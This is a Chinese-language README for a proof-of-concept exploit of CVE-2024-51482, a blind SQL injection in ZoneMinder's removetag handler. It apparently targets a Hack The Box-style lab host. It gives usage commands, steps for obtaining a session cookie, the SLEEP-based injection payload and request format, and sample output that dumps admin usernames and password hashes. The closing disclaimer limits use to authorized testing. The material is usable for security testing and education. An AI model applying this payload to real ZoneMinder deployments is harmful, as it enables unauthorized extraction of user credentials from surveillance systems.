针对 CVE-2024-51482 的概念验证利用脚本,该漏洞是 ZoneMinder v1.37. ≤ 1.37.64* 中经过身份验证的基于时间的盲 SQL 注入漏洞。
该脚本利用基于 SLEEP() 的二分搜索(bisection)手段,从 zm.Users 表中提取用户名和密码哈希值。
web/ajax/event.php 中的 removetag 处理器安全地参数化了 DELETE 查询,但随后直接将用户可控的输入插入了后续的 SELECT 查询:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId 直接来自 $_REQUEST['tid'],且未经过任何清洗,因此可通过 tid 参数实施注入。
requests 库(pip install requests)ZMSESSID 会话 cookiepython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
参数说明:
--url — ZoneMinder 基础 URL(例如 http://cctv.htb/zm)(必填)--zmsessid — ZMSESSID cookie 值 (必填)--sleep — 基于时间推断的休眠秒数(默认值:3)--timeout — 请求超时秒数(默认值:sleep + 3)示例:
# 基本用法
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# 低延迟网络下加速
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# 自定义超时
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
登录 ZoneMinder,打开浏览器开发者工具(F12)→ Application → Cookies,复制 ZMSESSID 的值。或者,在 Burp Suite 中拦截任意经过身份验证的请求,从 Cookie 头部中获取。
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 请求,测量正常响应时间。SLEEP(2) 并验证响应延迟是否 ≥2 秒。zm.Users 表的 COUNT(*) 进行二分搜索,找出有多少个账户存在。Username 和 Password 中每个字符的 ASCII 值进行二分搜索(每个字符约 7 次请求,而线性扫描需要 95 次)。Payload 结构:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
需要 id=1 参数,因为在漏洞 SELECT 之前的 DELETE 是安全的,如果没有 id=1,会返回 500 错误,导致执行在注入之前就终止。
此工具仅用于授权的安全测试和教育研究。
在测试任何不属于你的系统之前,务必获得明确的书面许可。
作者不对因使用本软件而导致的任何滥用或损害承担责任。